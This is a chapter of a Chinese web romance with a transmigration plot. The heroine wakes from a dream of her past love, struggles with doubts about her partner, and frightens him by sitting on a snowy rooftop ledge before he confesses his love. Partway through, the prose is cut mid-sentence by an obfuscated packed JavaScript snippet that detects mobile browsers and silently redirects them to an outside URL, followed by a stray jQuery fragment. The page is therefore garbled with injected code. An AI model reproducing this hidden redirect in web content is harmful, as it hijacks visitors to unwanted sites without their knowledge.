“对不起,我不是故意的,我就是有点儿害怕。”女孩子是要好好保护自己的,她不认为拒绝对方有什么不对,就是下手太重了点。阻止方式没选好。


    这一晚,二人各占床的两边,中间像是隔着一条银河。姜映夕觉得今晚的冷气好大,心好凉。


    早上起来的时候,李勤已经离开了。


    接下来的一个周末,李勤都没有过来接她。


    姜映夕左思右想,觉得应该去找他道个歉,她等在他住房的门口,守了一夜,周六的晚上他没回来住。


    姜映夕有点儿生气,他竟然夜不归宿。她之前打听过他工作的地方,天一亮就杀到目的地。


    研究室不大,早上开门也挺早。


    她气势汹汹地闯进去,打眼一看,就看见李勤坐在办公桌前和同事讨论工作。


    姜映夕走过去,打了声招呼,那二人聊的正起劲根本没注意到她。


    她只好伸手过去挥了挥,李勤转头看过来,下意识往一旁躲了躲。


    姜映夕愣住了,她被对方躲避的动作刺痛了。她有这么吓人吗?


    一旁的梁言滕看了看姜映夕,又看了看李勤嘴角尚未痊愈的痕迹,了然地道了句告辞,然后忙不迭地逃了。


    办公区的所有人都对姜映夕投来异样的探究的目光。


    这种感觉让她觉得糟糕透了。


    “你来找我是有什么事?”李勤收起桌面上的文件,疏离地和她保持一定的距离。


    “你出来,我有话跟你说。”姜映夕自顾扔下一句话,转身出了办公区。


    她站在公司门口的廊下等,他一过来,她便质问:“你什么意思?”


    她害怕他的冷落,有什么事不能坐下来谈?要这样躲着她呢。她打他又不是故意的。


    李勤皱眉看她,“怎么了?”


    “我讨厌你。”姜映夕急红了眼眶,“你要是这样,那我当初问你是否入赘的事就作罢好了。”


    说完她转身就要走,被李勤一把拉住。


    “映夕,我只是觉得你对我太凶了。”他的语气有些无奈,“从我们第一次见面开始,你就不分青红皂白地推了我一把,腰上的伤养了一个多月才好全。还有上一次,我承认我是有点失控,但你是不是更过分?若你总这样对我,今后是不是我要经常挨打?你会这样对别人吗?”


    姜映夕嘴巴一扁,“我也不知道为什么,反正只要是一涉及到你的事情我就特别容易冲动,手上的力道就控制不住。”


    李勤深吸一口气缓缓吐出,“那你好好想想吧。”他转身大步进入公司。


    “阿勤哥哥。”她在模糊的泪眼里看见李勤的背影拐入大门。


    回到宿舍后,姜映夕便躲在被窝里痛哭。


    小艾过来安慰她,“映夕,你怎么了?是不是你那个定娃娃亲的未婚夫欺负你了。”


    从开学以来,姜映夕一到周末就兴冲冲地收拾衣服等着人来接她,今天突然哭成这样,指定是和那人脱不了干系。


    小艾隔着被子安抚地拍她拱起来的身体,“男人都是一个样子的,你说出来,我们帮你去讨公道。”


    姜映夕从被窝里伸出头,“我把他打了。”


    小艾:“啊?为什么呢?”


    姜映夕扭扭捏捏地把那晚的事情换了个说法描述。


    小艾问:“那他做之前有征求你的同意吗?”


    姜映夕想了想,好像是有这么回事。


    小艾不解,“你们不是准备结婚的吗?这事确实是他太着急了。这样,你去问他愿不愿意寒假回家跟你领证。现在大学生是可以谈恋爱结婚的。”


    “领证吗?”姜映夕有些茫然,她从来没有想过这个,她只是打算让阿勤哥哥入赘她家,却从来没有想过给对方一个正经的名分。


    从记事起,阿勤哥哥在她眼里就是一个被施舍的对象。妈妈给他吃穿,供他上学,却从来没有给过他像样的疼爱。


    她也一样,嘴上喊着哥哥,却并非把他当做哥哥来看。她依赖他,喜欢他,也欺负他。她见惯了他挨打的模样,总觉得是她家给了他救助,仗着那一份恩情在,从他身上无偿索取。


    姜映夕怔忡好一会儿,明白过来症结在哪里。她没有给对方应有的爱人身份的尊重。


    哪怕那晚的事情,她好声提出拒绝,阿勤哥哥是一定会停下来的。他一直都这样,对她有求必应。


    所以,她才会在爸爸妈妈面前信誓旦旦地说要来申城找他。


    姜映夕整理好心情,收拾一番,重新去找李勤。


    她去到他公司的时候,他已经下班回去了。最近他们团队在研究新项目,工作上就比较忙,经常有通宵加班的情况。


    姜映夕又跑到他的住处,站在门前按响了门铃。


    李勤刚洗过澡,看着模样是准备睡了,看见她有点儿吃惊,“这么晚过来不安全,以后不要这样。”


    “对不起。”姜映夕说。


    李勤把她拉进屋里,“这话我听过很多次了。”


    “不是为了最近的,是为了之前的。这句对不起的来源,要从我认识你开始直到现在。阿勤哥哥,对不起。”


    如果他们今后不在一起,她和她的家人可以永远作为他的恩人,接受他的感恩。


    但他们要成为彼此的爱人,就要平等相爱。


    “谢谢。”李勤把她拉入怀里,“谢谢你,映夕。”


    姜映夕知道对方一直在引导她,她很感激对方能有这个耐心,她抬头看他,“我也谢谢你。”


    这年的寒假,姜映夕带着她的阿勤哥哥回到久违的家,领证摆席,成为了一家人。


    他们在冬季的新婚夜里相拥而眠。


    ——


    有泪水从姜映夕的眼角滑落,她从美好的梦中清醒过来。


    外面在下雪,夹着雨点儿,落在地上有细微的声响。


    房内的高脚桌前,亮着一盏昏黄的灯。


    何盛亭在灯下研究一块古玉。他现在把盛丰交给了姜映夕,当上了甩手掌柜,平日里偶尔当个幕后军师,大多数时间放在了研究古董上。


    姜映夕披上厚外套爬下床,坐到何盛亭的身旁,她有一瞬间的恍惚,分不清眼前的人是何盛亭还是梦里的李勤。


    她轻声唤他:“何盛亭。”


    他扭头看她,“怎么了?”


    “你又失眠了吗?”她问。


    他揉了揉眼,“老毛病了,不上班后,这个毛病好很多。”


    姜映夕靠过去把他抱住,她不知道要怎么告诉他,在原书里,何盛亭的结局并不好。


    旧案了结后,时闻屿得到上面的重视,已经连升三级,剧情进展的要比原书里快很多。


    她为了阻止何盛亭和时闻屿产生正面冲突,提出让何盛亭退到幕后,只是不知道这样能不能奏效。


    只要他在申城一天,就一定会和男主产生冲突情节,只是她不明白这个冲突的点在哪里,又会如何发展。


    后面,在时闻屿多次来找她却屡屡被何盛亭撞见的时候,她才明白过来,他们二人的冲突点是什么。


    原来是她自己啊,真是可笑,两个男人爱上同一个女人,很老套的桥段,但是很有效。


    太多的巧合便会引起猜忌,她和何盛亭之间的感情纽带禁不起几次破坏的。


    男主是不会失败的,这也是当初旧案重审的时候,她为什么一定要把时闻屿拉进局里的原因。


    姜映夕不禁多次试想,如果她不在,这个冲突是不是就不会存在了?


    何盛亭便不会整夜整夜的失眠,时闻屿也不会借由她的关系与何盛亭接触。他们二人不接触便不会有冲突。


    “你最近怎么老走神?”何盛亭放下手里的玉环,“是不是公司的事情太忙?要不我回去帮你?”


    “不用。”姜映夕摇了摇头,“我刚才做了一个梦。梦见李勤和姜映夕幸福美满的在一起了。”


    她说:“如果没有陈四爷,你会过的更好,你会爱上良城的姜映夕。”


    她细声细语地向他描述梦里见到的美好。若是没有陈四爷,李勤会过上普通而幸福的生活,他会和良城的姜映夕在一起。


    想到这里,她恍惚了一下。


    “你最近状况不太对。”何盛亭摘下眼镜,“明天让秦医生过来帮你看看。”


    冬季的午夜里,他们一个在研究古玉,一个沉浸在梦里无法自拔,说不上来到底是谁的状态更不对。


    “昨天秦铭来找我了,说是想跟盛丰合作。除了他,还有黄老板也来找我入资。如果硬要从中选一个合作者,该选谁?”


    姜映夕借着工作的事情转移话题。


    何盛亭想了想说:“选秦铭。”


    “秦铭辞去了警察的工作,他现在是一个彻彻底底的商人。”


    何盛亭:“做生意,他要比黄老板强。”


    其实,秦铭昨天不单单是来谈合作的,他带着何盛亭撒谎的证据过来找她,告诉她那些被何盛亭藏起来的真相。


    秦铭是来挑拨的,很不幸的是,他做的很成功。


    她很介意何盛亭对她有所隐瞒,怀疑的种子一旦埋下,便生根发芽,根须蔓延缠住了她的心脏,她一看见何盛亭,就在想,他到底为什么要撒谎隐瞒。


    是为了让她尽心尽力救他吗?若是如此,他对她的感情又有几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116596|155539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    分真心?他们没有一个好的相遇,会有一个好的结局吗?


    姜映夕忍不住揣测,这一切是不是都是何盛亭设的局?为了获得她的信任,将她困在情爱的陷阱里。


    她的目的是查明原主父亲的死因,何盛亭的目的是扳倒陈四爷并洗脱他自己的罪名。


    若是细细想来,这桩旧案的重审是颠覆局势的炸弹,可这火引线是何盛亭提供的,火也是他给的。


    而她不过是一个点火的人。这件旧案致使多方受益,这让她忽略了何盛亭从中能得到的好处。


    他扳倒了陈四爷,这意味着,按照原书里的剧情走,在不久的以后将控制整个申城的商业命脉的男人已经实现了初始化。


    “离天亮还有些时间,要再睡一下吗?”何盛亭把东西收好,摸了摸姜映夕的脸,“再去睡会儿。”


    她拉住何盛亭的手,问:“你爱我吗?”


    何盛亭并没有正面回应她,只是安抚性地抱了她一下,“你有些累了,不要胡思乱想。我没有时间再去爱别人。”


    第二日,秦铭提供了确切的证据给她。


    姜映夕不明白,为什么所有的事情都要让她这样为难。


    申城的冬天真爱下雪啊,这么大的雪让她想起她初次到来的那天。


    她换上了原主跳楼那天穿的呢绒大衣,爬上了何宅的三楼天台,视野真好,她往远处看,城市一片安详宁静。


    何盛亭最近的睡眠颠倒,等他补觉醒来的时候,整个屋子都找不到姜映夕,天色暗沉,下雪天的时间流逝没什么感觉。


    他一觉睡到傍晚,问兰姨,“姜小姐呢?”


    兰姨正在准备晚饭,抬头想了想,“不在房里吗?那应该是出去了,我刚才看见她换上了那件孔雀蓝的呢绒大衣,估计是有事外出。”


    何盛亭的脸唰的一下沉下来,“你说她换上了哪件大衣?”


    “那件孔雀蓝的,好久没见她穿过了。上次还是在,在……”兰姨顿了一下,想到什么似的呀了一声。


    还没等她反应过来,何盛亭就奔跑着往顶楼去了。


    雪已经下的很大了,鹅毛一样飘落。


    姜映夕坐在女儿墙上,披散的黑发铺在肩头,她一向臭美,很少这样不修边幅。


    雪花落在她的大衣上,幽蓝的丝绒在雪光下反射出孔雀羽毛般的色泽。


    “姜映夕!”何盛亭从楼梯口冒出来的时候,呼喊她的嗓子都有些劈了。


    “你下来。”他稳步朝着她靠近,“我什么都告诉你。”


    姜映夕扭头看他,笑着叫了一句,“阿勤哥哥。”


    何盛亭驻足在原地看她良久,“你叫我什么?”


    “阿勤哥哥,我们回良城好不好?”姜映夕从女儿墙上下来,俏皮地挑眉,“你以为我要做什么?”


    她往楼下指,“你是不是以为我要跳下去?”


    何盛亭的呼吸停了一拍,他走过去将她头上的雪花拂去,“回良城,盛丰怎么办?”


    盛丰两个字像是开关,姜映夕如梦初醒般地回过神来,“何盛亭?”她看一眼他身上的睡衣,“你冷不冷?大雪天的穿这个上天台?”


    何盛亭看她一瞬间神情切换,皱了皱眉问:“那你呢?上来看雪景?”


    姜映夕伸手捏了把墙上的雪,指尖传出咯吱的声响,“我想回去了。”


    “好,等我帮你把盛丰办好企业托管。”何盛亭答应道。


    姜映夕问:“你舍得吗?舍得离开申城吗?”


    何盛亭站到她身边,跟着往楼下看去,“姜映夕,你昨晚问我是否爱你。我现在回答你,因为我爱你所以分不出时间去爱别人,你不必怀疑我对你的爱。”


    他说:“人生短暂,没有什么是不舍得的。”


    何盛亭拉过她的手,在她手心里写下一串数字,“这个是地下室的密码,是通用的,所有。”


    姜映夕在心里默念了一遍这串数字,“好像是个日期?”


    “是,我们正式相遇的那一天。”


    姜映夕有些呐呐的,“我们相遇不是在春末吗?可这个日期是在冬季。”


    “是,去年的今天。”何盛亭直接点明,“你跳楼的那一天,也是你答应为我做事的那一天。”


    他伸手摸上她的耳垂,“这个可以摘了,现在不需要了。”


    姜映夕艰涩地眨了下眼问:“那之前呢?在我跳楼之前。”


    何盛亭洞悉般地凝视她,“之前的姜映夕和时闻屿,之后的姜映夕和何盛亭,梦里的姜映夕和李勤。”


    “现在的你和我。”何盛亭说,“我们回良城吧。我不做何盛亭了,你也不必做姜映夕。”